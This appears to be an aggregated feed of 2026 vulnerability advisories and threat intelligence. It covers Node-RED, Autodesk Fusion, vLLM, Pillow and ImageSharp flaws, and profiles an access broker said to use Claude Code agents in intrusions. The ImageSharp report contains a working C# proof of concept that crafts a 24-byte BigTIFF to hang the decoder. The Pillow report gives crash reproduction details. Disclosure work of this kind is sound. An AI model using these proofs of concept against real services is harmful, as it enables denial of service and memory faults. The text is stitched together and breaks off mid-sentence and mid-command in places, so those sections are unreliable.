CyberXero is a financially motivated Russian-speaking Initial Access Broker active since July 2026. It operates two parallel campaigns: a global mass exploitation targeting WordPress, Magento, and e-commerce platforms, and a focused campaign against Ukrainian energy and utilities organizations. The actor uses AI augmentation with specialized Claude Code agents and PentAGI integrated with Cobalt Strike. Over 40 organizations across Ukraine, Poland, China, Pakistan, and the Netherlands have been affected, with more than 628,000 personal records exfiltrated and 429 WordPress admin panels compromised. Techniques include SQL injection, PHP deserialization, and lateral movement. The actor weaponizes vulnerabilities within 30 days of disclosure.
Exploitation activity targeting CVE-2026-58115, an unauthenticated Node-RED admin API vulnerability, was detected on October 30, 2026. Attackers used Node-RED's inject and exec nodes to execute commands without authentication, deploying malicious flows that download and execute Linux bots. The payloads included staged shell scripts and persistent webshells, with binaries saved in RAM-backed storage to evade disk forensics. This vulnerability affects Node-RED embedded in critical infrastructure products such as Siemens SIMATIC IoT2050 devices, posing a risk to industrial control systems environments. The exploitation appears opportunistic and involves mass scanning across multiple CVEs rather than targeted attacks.
libgphoto2 versions up to 2.5.34 contain a heap out-of-bounds read and write vulnerability in the jl2005bcd_decompress() function. This flaw allows malicious USB cameras to corrupt heap memory by exploiting oversized thumbnail processing. Specifically, attackers can manipulate allocation-table values and thumbnail header bytes to cause in-place byte-swapping to exceed the buffer by approximately 30 KB, potentially leaking heap contents in preview images. The vulnerability has a medium severity rating with a CVSS score of 5.4.
A malicious file identified by the SHA-256 hash fe06eb908f0b5c042ea623f4e30e822d498b1b410862528b9df59ca52a57e837 was observed by OffSeq Mirage honeypot sensors on 2026-10-30. This file was seen four times in attacker activity involving the T1105 technique (Ingress Tool Transfer) from attacker infrastructure located in Bulgaria. The file hash corresponds to a specific malicious payload, which could be a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to check their environments and security tools for this hash to detect potential compromise.
Dell PowerProtect Data Domain versions 7.7.1.0 through 8.8, including specific LTS releases, contain an OS Command Injection vulnerability (CWE-78). A high privileged attacker with remote access could exploit this flaw to execute arbitrary commands on the affected system. The vulnerability is rated high severity with a CVSS score of 7.2. Fixed versions are available starting from 7.13.1.90, 8.3.1.50, 8.6.1.30, and 8.9.0.0 or later.
CVE-2026-102638 is a stored cross-site scripting (XSS) vulnerability in the Autodesk Fusion desktop application. The flaw arises when a malicious HTML payload is embedded in the description field of an electronic library (.lbr) file and then displayed in the Library Manager after import. Successful exploitation can allow an attacker to read local files or execute arbitrary code within the context of the current process. The vulnerability affects versions from 2705.1.30 up to but not including 2706.1.14, where it has been fixed.
CVE-2026-102637 is a reflected cross-site scripting (XSS) vulnerability in the Autodesk Fusion desktop application. It arises from improper handling of the documentName parameter in Fusion protocol URLs, allowing injection of malicious HTML payloads. This flaw enables attackers to execute arbitrary code or read local files within the context of the current process. The vulnerability affects versions from 2705.1.30 up to but not including 2706.1.14. A fix is available in version 2706.1.14. The vulnerability has a high severity score of 7.1.
CVE-2026-102636 is a stored cross-site scripting (XSS) vulnerability in the Autodesk Fusion desktop application. The flaw allows an attacker to embed malicious HTML code in a design name, which executes when another user opens the manipulated design. This can lead to arbitrary code execution or unauthorized reading of local files within the application's process context. The vulnerability affects versions from 2705.1.30 up to but not including 2706.1.14 and has been assigned a high severity rating with a CVSS score of 7.1. A fix is available in version 2706.1.14.
CVE-2026-105265 is a path traversal vulnerability in Kiloview E3 Firmware versions prior to 1.30. It involves improper validation of the time zone parameter, allowing an authenticated user to cause /etc/localtime to point to files outside the intended zoneinfo directory. This vulnerability has a medium severity with a CVSS score of 5.3 and was fixed in version 1.30.
## Summary
A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.
Pillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.
The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.
## Impact and prerequisites
An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.
The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.
## Tested environment and limits of the evidence
The existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**:
- Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl`
- Wheel size: `4785266` bytes
- Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6`
- Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`
- Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1`
Apple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.
Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed.
Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.
## Observed evidence and controls
The earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format="TIFF")`, without replacing the image's metadata. Each case was recorded three times:
| Original fixture | Bytes | Recorded result |
| --- | ---: | --- |
| `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). |
| `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). |
| `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |
Address-free summary of the recorded native diagnostic:
```text
AddressSanitizer: heap-buffer-overflow
READ of size 131072
0 bytes after 1536-byte region
Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt
-> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField
-> PyImaging_LibTiffEncoderNew
Allocation: calloc -> PyImaging_LibTiffEncoderNew
```
Input SHA-256 values (also enforced inside the script):
- `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d`
- `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c`
- `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556`
## Root cause and source references
- [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`.
- [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–19
BottleCRM versions 0.30 through 1.14.5 have an HTML injection vulnerability in the render_invoice_template() function. Authenticated organization members can inject HTML and CSS into invoice PDFs via fields such as notes, terms, client name, or address. This allows attackers to manipulate the visual content of PDFs delivered through downloads, public links, and emails.
The Booking Package WordPress plugin before 1.7.30 does not perform authorization checks before returning stored reservation data, allowing unauthenticated users to disclose other customers' personal information and booking cancellation tokens.
CVE-2026-105891 is a missing authorization vulnerability in the Liquid Web / StellarWP Event Tickets plugin. It allows exploitation of incorrectly configured access control security levels, potentially enabling unauthorized actions. The issue affects versions from initial releases up to 5.30.0.1. The vulnerability has a medium severity rating with a CVSS score of 4.3.
### Summary
`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
### Details
[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.
### Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### Reproduction
The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count `5000000000`. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
```text
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
```
`timeout` exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is `1`:
```text
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
```
The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
### Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}
```
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >
vLLM is an inference and serving engine for large language models. Prior to 0.30.0, a caller can use the request-level media_io_kwargs field to select the GLMGA video backend and supply large values for the fps and max_frames options without a strict work ceiling. GLMGA constructs and deduplicates an attacker-sized pre-decode frame-index list, allowing a compact request and tiny valid video to consume disproportionate CPU time and memory in the shared media-loading executor. This issue is fixed in version 0.30.0.
vLLM is an inference and serving engine for large language models. Prior to 0.30.0, the Rust frontend's track_http_metrics middleware records the raw HTTP method token as a Prometheus label for requests reaching registered routes. An unauthenticated attacker can send unique arbitrary method tokens to unguarded routes such as /tokenize, causing Prometheus's Family::get_or_create function to permanently create counter and histogram label sets. Those label sets increase process memory usage and enlarge the /metrics response until the service or monitoring path is exhausted. This issue is fixed in version 0.30.0.
CVE-2026-105758 is a resource allocation vulnerability in vllm versions 0.24.0 through 0.29.999 that allows unauthenticated attackers to submit excessive video frame and frame rate values to the /tokenize endpoint. This can cause disproportionate memory consumption and potentially terminate the API process. The issue is fixed in version 0.30.0.
vLLM is an inference and serving engine for large language models. Prior to 0.30.0, structured-output request failures can escape request-scoped validation and reach the EngineCore fatal-error path. A per-request backend mismatch can re-raise a grammar compilation exception, padding produced by the ngram_gpu speculative-decoding mode can pass a negative token to guidance validation, and the Rust frontend can admit empty structured-output values that the Python frontend rejects, allowing ordinary constrained-generation requests to terminate the shared engine. This issue is fixed in version 0.30.0.